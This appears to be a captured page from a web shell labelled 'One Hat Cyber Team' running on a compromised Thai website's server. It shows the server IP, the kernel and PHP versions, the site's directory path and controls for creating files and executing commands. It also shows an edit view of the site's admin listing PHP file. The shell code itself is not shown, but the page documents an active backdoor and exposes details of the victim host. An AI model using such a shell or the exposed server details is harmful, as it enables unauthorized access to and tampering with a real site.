One Hat Cyber Team
Your IP :
216.73.216.152
Server IP :
27.254.111.200
Server :
Linux wh-sh59.csloxinfo.com 3.10.0-693.5.2.el7.x86_64 #1 SMP Fri Oct 20 20:32:50 UTC 2017 x86_64
Server Software :
Apache
PHP Version :
5.5.38
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
vhosts
/
oakwine.co.th
/
httpdocs
/
view
/
Admin
/
Edit File:
list.php
<?php SYS::DOMAIN("Admin"); SYS::CONTROLLER("adminController"); SYS::ADDFUNCTION("display"); $adminInstanceList = new Admin(); $perPage = 20; $p = isset($_GET["p"]) ? $_GET["p"] : 1 ; $pageStart = ($p-1)*$perPage; ?> <div class='row'><div class="col-lg-12"> <div class="box box-info"> <div class="box-header with-border"> <!-- <h3 class="box-title"> รายการข้อมูล Admin</h3> --> <div class="btn-group"> <a href="admin.php?page=Admin/create" class="btn bg-olive"><i class="fa fa-plus-circle"></i> เพิ่มข้อมูลผู้ดุแลระบบ</a> </div> </div> <div class='table-responsive'> <table class='table table-striped'> <thead> <tr> <th>#</th> <th>Admin</th> <th class="text-center">เปิดใช้งาน</th> </tr> </thead> <tbody> <?php foreach($adminInstanceList->listBy(array("limit"=>"$pageStart,$perPage")) as $adminInstance){ ?> <tr> <td style="width:5%;"> <a href="?page=Admin/show&id=<?php echo $adminInstance->id; ?>"><?php echo ($pageStart++) +1; ?></a> </td> <td> <a href="?page=Admin/show&id=<?php echo $adminInstance->id; ?>"><?php echo $adminInstance->toString(); ?></a> </td> <td class="text-center"><?php echo $adminInstance->status=='1' ? '<i class="fa fa-check-circle text-green"></i>' : '<i class="fa fa-minus-circle"></i>'; ?></td> </tr> <?php } ?> </tbody> </table> </div> <div class="col-lg-12"> <?php $params = array("page"=>"Admin/list"); echo paginate2($adminInstanceList->count(),$perPage,$params); ?> </div> </div> </div></div>
Simpan